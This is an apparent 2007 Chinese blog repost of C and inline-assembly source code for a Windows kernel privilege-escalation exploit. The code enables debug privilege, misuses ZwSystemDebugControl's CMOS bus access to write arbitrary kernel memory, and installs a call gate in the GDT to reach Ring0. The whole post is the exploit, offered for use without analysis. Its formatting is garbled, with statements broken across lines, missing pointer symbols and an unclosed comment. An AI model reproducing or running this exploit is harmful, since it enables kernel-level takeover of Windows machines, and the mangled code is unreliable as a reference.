[zt]利用NtSystemDebugControl进入Ring0的源代码

Published on 2007 - 08 - 05

文章作者:zjjmj


/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe. ------zjjmj2002

/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E; // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace
= 14,

DebugSysWriteIoSpace
= 15,

DebugSysReadMsr
= 16,

DebugSysWriteMsr
= 17,

DebugSysReadBusData
= 18,

DebugSysWriteBusData
= 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined
= -1,

Cmos
,

EisaConfiguration
,

Pos,

CbusConfiguration
,

PCIConfiguration
,

VMEConfiguration
,

NuBusConfiguration
,

PCMCIAConfiguration
,

MPIConfiguration
,

MPSAConfiguration
,

PNPISAConfiguration
,

SgiInternalConfiguration
,

MaximumBusDataType

} BUS_DATA_TYPE
,
PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of

struct MyCallGate
{

WORD OFFSETL;

WORD SELECTOR;

BYTE DCOUNT;

BYTE GTYPE;

WORD OFFSETH;

DWORD CodeLimit;

DWORD CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG Offset;

PVOID Buffer;

ULONG Length;

BUS_DATA_TYPE BusDataType;

ULONG BusNumber;

ULONG SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI
PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode
,

PVOID InputBuffer
,

ULONG InputBufferLength
,

PVOID OutputBuffer
,

ULONG OutputBufferLength
,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl
= NULL;


int CmosRead(int offs
, BYTE
ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus
.BusDataType = Cmos;

bus
.BusNumber = 0;

bus
.SlotNumber = offs;

bus
.Buffer = ppAddr ?
ppAddr : &buf;

bus
.Offset = 0;

bus
.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs
, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus
.BusDataType = Cmos;

bus
.BusNumber = 0;

bus
.SlotNumber = offs;

bus
.Buffer = ppAddr == NULL ? &val : ppAddr;

bus
.Offset = 0;

bus
.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr
, BYTE Value)

{
int OldVal
= CmosRead(CmosIndx);
BYTE
p = (BYTE)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx
, Value);
CmosRead(CmosIndx
, &p);
CmosWrite(CmosIndx
, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken
, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok
.PrivilegeCount = 1;

tok
.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(
NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken
, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{

MyCallGate CallGate;
DWORD GDTBase;
_asm
{
PUSH EDX
SGDT FWORD PTR SS
:[ESP-2]
POP EDX
MOV GDTBase
,EDX
MOV CallGate
.OFFSETL,DX
SHR EDX
,16
MOV CallGate
.OFFSETH,DX
}

CallGate
.SELECTOR = 0x358;
CallGate
.DCOUNT = 0;
CallGate
.GTYPE = 0xec;
CallGate
.CodeLimit = 0xffff;
CallGate
.CodeBase = 0xcf9a00; //Build My CallGate

WriteMem(GDTBase
, 0xc3);

GDTBase
= GDTBase+0x350;
for ( int i=0 ; i<=15 ; i++ )
{
BYTE p;
DWORD
q;

_asm
{
LEA ESI
,CallGate
ADD ESI
,i
XOR EAX
,EAX
LODSB
MOV p
,AL
}


WriteMem(GDTBase
+i, p);
}
}

int main(int argc
, char* argv[])
{
HMODULE hNtdll;
FCHK((hNtdll
= LoadLibrary("ntdll.dll")) != NULL);
FCHK((ZwSystemDebugControl
= (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

HANDLE hToken;
FCHK(OpenProcessToken(GetCurrentProcess()
, TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY
, &hToken));
FCHK(EnablePrivilege(hToken
, SE_DEBUG_NAME, 1));

CallGate();
return 0;
}

Comments
Write a Comment